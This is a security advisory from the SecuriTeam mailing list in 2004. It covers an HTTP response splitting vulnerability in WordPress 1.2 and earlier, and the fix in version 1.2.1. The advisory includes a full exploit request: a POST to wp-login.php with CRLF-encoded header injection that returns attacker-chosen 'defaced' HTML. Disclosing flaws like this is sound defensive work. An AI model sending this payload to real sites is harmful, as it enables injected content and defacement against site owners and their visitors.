[UNIX] HTTP Response Splitting in WordPress
From: SecuriTeam (support_at_securiteam.com)
Date: 10/11/04
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To: list@securiteam.com Date: 11 Oct 2004 19:03:09 +0200
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HTTP Response Splitting in WordPress
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SUMMARY
<http://wordpress.org/> WordPress is "a state-of-the-art semantic
personal publishing platform with a focus on aesthetics, web standards,
and usability. What a mouthful. WordPress is both free and priceless at
the same time".
A vulnerability in the product allows remote attackers to cause the
product to return arbitrary content inside its HTTP response, causing it
to become vulnerable to an HTTP Response Splitting vulnerability.
DETAILS
Vulnerable Systems:
* WordPress version 1.2 and prior
Immune Systems:
* WordPress version 1.2.1
Vendor status:
Vendor contacted September 24th. Vendor worked closely with the author and
promptly produced a fix (see below).
Solution:
Use WordPress 1.2.1. See vendor site:
<http://wordpress.org/development/2004/10/wp-121/>
http://wordpress.org/development/2004/10/wp-121/
Exploit:
HOSTNAME, USER and PASS should be replaced with the relevant values (and
Content-Length needs to be adjusted accordingly). Replace curly braces
with less-than and greater-than signs. Code is line wrapped.
POST /wp-login.php HTTP/1.0
Host: HOSTNAME
Content-Type: application/x-www-form-urlencoded
Content-length: 226
action=login&mode=profile&log=USER&pwd=PASS&text=%0d%0aConnection:
Keep-Alive%0d%0aContent-Length:
0%0d%0a%0d%0aHTTP/1.0 200 OK%0d%0aContent-Length: 21%0d%0aContent-Type:
text/html%0d%0a%0d%0a{html}*defaced*{/html}
ADDITIONAL INFORMATION
The information has been provided by <mailto:chaoticevil@spyring.com>
Chaotic Evil.
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